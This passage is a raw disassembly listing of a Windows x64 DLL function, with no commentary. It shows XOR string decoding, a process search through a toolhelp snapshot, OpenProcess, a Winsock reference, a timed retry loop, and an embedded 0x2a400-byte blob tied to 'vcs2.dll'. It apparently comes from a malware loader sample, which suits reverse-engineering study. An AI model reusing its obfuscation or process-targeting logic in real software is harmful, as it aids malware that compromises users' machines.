pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001dcb0
cmp r8d, 0x11
jge 0x18001dde4
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001ddb0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001de00
lea rdx, [rbp]
lea rcx, [rbp - 0x40]
call fcn.180006720
nop
cmp qword [rbp - 0x30], 0
jne 0x18001de27
xor bl, bl
jmp 0x18001e15e
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.180005010
nop
mov r8, rsi
lea rdx, [0x18014c8b8]
lea rcx, [rsp + 0x40]
call fcn.180004cd0
cmp rax, 0xffffffffffffffff
je 0x18001deb9
mov r8, rsi
lea rdx, str..._.
lea rcx, [rsp + 0x40]
call fcn.180004cd0
mov r9, rax
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001e825
mov rax, rbx
sub rax, r9
mov r8, rsi
cmp rax, rsi
cmovb r8, rax
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rax, qword [rsp + 0x40]
lea rcx, [rax + r9*2]
sub rbx, r8
lea rdx, [rcx + r8*2]
mov r8, rbx
sub r8, r9
lea r8, [r8*2 + 2]
call fcn.1800b21e0
mov qword [rsp + 0x50], rbx
lea rdx, [0x18014c8a8]
lea rcx, [rsp + 0x40]
call fcn.180007290
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18001df40
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001e0ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e0e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e777
jmp 0x18001e0e7
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001df60
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x20]
call fcn.180006720
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x80]
call fcn.180093fe0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.180005010
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.180093fe0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001dfb3
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001dfc1
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001dfe6
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18001dfef
add rax, 2
sub rcx, 1
jne 0x18001dfd3
cmp r9, r10
jae 0x18001dff7
mov ebx, esi
jmp 0x18001dffd
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001dffd
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x18001e03d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e038
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e82b
call fcn.1800afc8c
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x18001e08e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e089
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e831
call fcn.1800afc8c
test ebx, ebx
je 0x18001e0f0
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001df40
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001e0ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e0e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e837
call fcn.1800afc8c
xor bl, bl
jmp 0x18001e15e
mov r8d, dword [rbp + 0x168]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x18001e110
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001e15c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e157
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e837
call fcn.1800afc8c
mov bl, 1
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001e19e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e199
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e765
call fcn.1800afc8c
test bl, bl
jne 0x18001e4cf
mov ecx, 0x98
call fcn.1800afc50
mov rbx, rax
mov qword [rbp + 0x710], rax
lea rax, [rbp - 0x20]
mov qword [rbp + 0x728], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
xor r8d, r8d
lea rdx, [0x180113d48]
lea rcx, [rbp - 0x20]
call fcn.180006720
nop
lea rax, [rbp + 0x28]
mov qword [rbp + 0xb0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
xor r8d, r8d
lea rdx, [0x180113d4c]
lea rcx, [rbp + 0x28]
call fcn.180006720
nop
movups xmm0, xmmword [str.GASVU]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x18014dc20]
mov dword [rsp + 0x50], eax
cmp word [0x18014dc22], 0
je 0x18001e276
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x35
xor word [rsp + 0x44], 0x36
xor word [rsp + 0x46], 0x37
xor word [rsp + 0x48], 0x38
xor word [rsp + 0x4a], 0x39
xor word [rsp + 0x4c], 0x3a
xor word [rsp + 0x4e], 0x3b
xor word [rsp + 0x50], 0x3c
xor word [rsp + 0x52], 0x3d
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x40]
nop word [rax + rax]
inc rsi
cmp word [rax + rsi*2], 0
jne 0x18001e290
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.180006720
nop
lea r9, [rbp - 0x20]
lea r8, [rbp + 0x28]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.180028900
mov rdi, rax
mov rcx, qword [rbp + 0xc0]
mov qword [rax + 0x18], rcx
mov ecx, dword [rbp + 0xd0]
mov dword [rax], ecx
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea rbx, [rax + 0x7530]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, rbx
ja 0x18001e4c9
movups xmm0, xmmword [str.GASVUJ_IJT_Zn_._D]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x18014dcc0]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x18014dcd0]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001e44f
movdqa xmm5, xmmword [0x180151790]
movdqa xmm4, xmmword [0x180151970]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1801517b0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [0x180151880]
lea rcx, [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001e360
cmp r8d, 0x11
jge 0x18001e494
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001e460
xor r8d, r8d
lea rdx, [rbp]
mov ecx, dword [rbp + 0xd0]
call fcn.1800951f0
test rax, rax
jne 0x18001e549
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, rbx
jbe 0x18001e2f2
mov r14d, 0x405f
mov rdx, qword [rbp + 0x130]
cmp rdx, 8
jb 0x18001e515
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e510
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e83d
call fcn.1800afc8c
mov eax, r14d
lea r11, [rsp + 0x7c8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r8d, 0x2a400
lea rdx, [0x180300780]
lea rcx, [rbp + 0x98]
call fcn.1800941a0
nop
lea rdx, [rbp + 0x98]
lea rcx, [rsp + 0x40]
call fcn.180004bd0
mov rdx, rax
mov rcx, rdi
call fcn.180028c30
lea rcx, [rbp + 0x98]
call fcn.1800135c0
mov rdx, qword [0x180349f98]
lea rcx, [rbp + 0x3a0]
call fcn.18001e850
nop
mov rax, qword [0x180349f98]
mov qword [rax + 0x24], 1
mov dword [rax + 0x20], r14d
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800112a0
lea rdx, [rbp + 0xd8]
mov rcx, rax
call fcn.180011280
nop
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rbp + 0xe8]
sub rax, rcx
cmp rax, 8
jb 0x18001e843
lea r9, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 8
cmovae r9, qword [rbp + 0xd8]
mov qword [rsp + 0x30], 8
lea rax, str.vcs2.dll
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xf8]
call fcn.1800075f0
nop
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0xf8]
call fcn.180004e40
mov rbx, qword [rax]
lea rdx, [rbp + 0x728]
lea rcx, [rbp + 0xf8]
call fcn.180004e60
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x138]
call fcn.1800065e0
nop
lea rdx, [rdi + 0x20]
lea rcx, [rsp + 0x40]
call fcn.180004bd0
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.18009bcb0
lea rdx, [rbp + 0x138]
lea rcx, [rbp]
call fcn.180005360
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, rdi
call fcn.18001a6e0
mov ebx, eax
lea rdx, [rbp + 0x3a0]
mov rcx, qword [0x180349f98]
call fcn.18001e970
test ebx, ebx
je 0x18001e6cb
call fcn.18001b810
mov r14d, eax
jmp 0x18001e6ce
mov r14d, r13d
lea rcx, [rbp + 0x138]
call fcn.180005200
nop
lea rcx, [rbp + 0xf8]
call fcn.180004e80
nop
lea rcx, [rbp + 0xd8]
call fcn.180004e80
nop
lea rcx, [rbp + 0x3e0]
call fcn.180010c00
lea rcx, [rbp + 0x3a0]
call fcn.1800114d0
nop
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x18001e4cf
mov rdx, qword [rbp + 0xa8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e749
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001e765
call fcn.1800afc8c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r13
jmp 0x18001e4cf
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.180005de0
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.180005de0
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.180005de0
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.180005de0
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.180005de0
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.180005de0
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
int3
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.180005de0
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.180001570
int3